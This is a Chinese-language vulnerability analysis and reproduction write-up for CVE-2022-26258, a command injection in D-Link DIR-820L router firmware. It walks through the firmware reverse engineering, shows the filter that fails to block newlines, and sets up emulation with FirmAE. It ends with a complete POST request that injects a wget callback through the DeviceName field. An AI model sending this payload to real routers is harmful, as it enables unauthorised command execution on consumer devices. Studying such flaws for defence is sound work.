分析固件和漏洞
D-Link DIR-820L路由器固件版本1.05B03存在命令执行漏洞,CVE编号CVE-2022-26258,通过CVE网站查看信息,得知漏洞在 /lan.asp 页面中的设备名称参数出了问题。以下是CVE的描述信息:
使用binwalk解包时并未发现加密,直接得到了squashfs-root 文件系统:
找到 lan.asp 文件,搜索“device”和“name”相关关键词,发现有多处调用:
function onPageLoad()
{
...
get_by_id("lan_device_name").value = lanCfg.lanDeviceName;
...
}
...
function send_request(){
...
var lan_device_name = get_by_id("lan_device_name").value;
...
}
...
function copyDataToDataModelFormat()
{
...
paramStr += '&lanHostCfg_DeviceName_1.1.1.0=' + get_by_id("lan_device_name").value;
...
}
...
<tr>
<td class="duple"><script>show_words('DEVICE_NAME')</script>:</td>
<td width="340">
<input name="lan_device_name" type="text" id="lan_device_name" size="20" maxlength="15" value=''>
</td>
</tr>
...
审计代码,发现lan_device_name
作为请求参数,拼接到paramStr
中,这里应该是一个POST请求,然后将内容提交到了get_set.ccp
的URL中,:
function send_request(){
...
if(submit_button_flag == 0){
submit_button_flag = 1;
/*var restoreStr
for(var i=0; i<25; i++)
{
}*/
deleteRedundentDatamodel();
var submitObj = new ccpObject();
var submitParam = {
url: "get_set.ccp",
arg: ""
};
.....
在文件系统中使用grep -r get_set .
查找这个URL的引用,并没有发现名为“get_set.ccp”的文件,但有许多asp文件都使用了这个URL,并且有四个二进制文件中匹配到了这个URL:
既然没有“get_set.ccp”文件,那么可能是这个URL会交给后端处理,处理好之后返回给用户结果。我们依次分析这四个二进制文件,在文件中搜索字符串”get_set”,结果flash、smbd、libc不是很匹配,可能性较低,而ncc2的内容很匹配,它不光有字符串,还有相关函数,ncc2结果如下:
接下来对ncc2进行逆向,搜索system
等命令执行函数,发现关键逻辑:
这里将v4的值拼接到格式化字符串里,然后整个字符串传给system
,目前看来并未对v4进行检查,很有可能是命令注入点。
v4是getObj
函数的返回值Obj,需要绕过hasInjectionString
的判断才能到达命令注入点,现在需要找到hasInjectionString
函数在哪个文件中,同样使用grep -r
命令:
这里找到一个libc文件,用IDA打开,然后分析此函数,发现它是一个过滤函数,用于判断是否有非法字符:
但是这里只是一些基本的过滤规则,没有过滤冒号和换行符,可以使用“\n”来绕过,最终达到命令注入的效果。现在要验证漏洞是否存在,需要进行固件仿真。试了一下FrimAE可以仿真,这样就不需要手动去模拟了,避免了很多麻烦。
漏洞复现
首先下载FirmAE,然后按照官方文档给出的安装教程把环境安装好:
git clone --recursive <https://github.com/pr0v3rbs/FirmAE>
sudo ./download.sh
sudo ./install.sh
在download的时候速度非常慢,甚至出现连接断掉的情况,可以查看download.sh脚本,然后搭上梯子手动下载到binaries文件夹下:
download(){
wget -N --continue -P./binaries/ $*
}
echo "Downloading binaries..."
echo "Downloading kernel 2.6 (MIPS)..."
download <https://github.com/pr0v3rbs/FirmAE_kernel-v2.6/releases/download/v1.0/vmlinux.mipsel.2>
download <https://github.com/pr0v3rbs/FirmAE_kernel-v2.6/releases/download/v1.0/vmlinux.mipseb.2>
......
下载好之后运行仿真命令:
sudo ./init.sh
sudo ./run.sh -a <brand> <firmware>
sudo ./run.sh -r <brand> <firmware>
-a
这条命令是解析固件,brand
参数是一个自定义的标识符,然后跟上firmware.bin文件,-r
这条命令就是运行仿真了。仿真成功可以看到如下信息:
然后在浏览器访问192.168.0.1,可以访问成功,这里要求登录,默认密码为空:
根据之前的分析结果,访问lan.asp,看到页面确实像预测的那样POST提交表单到get_set.ccp的URL。这里测试修改Device Name然后使用burpsuite抓包看看参数构成:
正如之前分析的那样,所有的参数都拼接起来了。然后尝试对此处使用换行符绕过,也就是”%0a”。这里有一个比较简单的验证方法,就是用python 起一个简单的HTTP服务,然后使用wget 命令请求这个HTTP服务,如果成功请求,在终端中就会输出请求的相关信息,并且wget会一直发出请求,用于测试在合适不过了:
sudo python -m SimpleHTTPServer 80
最后修改Device Name这条参数,最后请求头如下:
POST /get_set.ccp HTTP/1.1
Host: 192.168.0.1
Content-Length: 765
Accept: application/xml, text/xml, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/lan.asp>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: hasLogin=§1§
Connection: close
ccp_act=§set§&old_ip=§192.168.0.1§&old_mask=§255.255.255.0§&new_ip=§192.168.0.1§&new_mask=§255.255.255.0§&nextPage=§lan.asp§&lanHostCfg_IPAddress_1.1.1.0=§192.168.0.1§&lanHostCfg_SubnetMask_1.1.1.0=§255.255.255.0§&lanHostCfg_DomainName_1.1.1.0=§§&lanHostCfg_DNSRelay_1.1.1.0=§1§&lanHostCfg_DHCPServerEnable_1.1.1.0=§1§&lanHostCfg_MinAddress_1.1.1.0=§192.168.0.100§&lanHostCfg_MaxAddress_1.1.1.0=§192.168.0.200§&lanHostCfg_DHCPLeaseTime_1.1.1.0=§1440§&lanHostCfg_DeviceName_1.1.1.0=§%0awget <http://192.168.0.2>%0a§&lanHostCfg_AlwaysBroadcast_1.1.1.0=§0§&lanHostCfg_NetBIOSAnnouncement_1.1.1.0=§0§&lanHostCfg_NetBIOSLearn_1.1.1.0=§0§&lanHostCfg_NetBIOSScope_1.1.1.0=§§&lanHostCfg_NetBIOSNodeType_1.1.1.0=§2§&lanHostCfg_PrimaryWINSAddress_1.1.1.0=§0.0.0.0§&lanHostCfg_SecondaryWINSAddress_1.1.1.0=§0.0.0.0§&1650509593486=§1650509593486§
在终端中看到来自192.168.0.1的请求,说明命令注入成功:
References
IOTsec-Zone 物联网安全社区 | D-Link CVE-2022-26258 命令注入
Vuln/DIR-820L/command_execution_0 at master · skyedai910/Vuln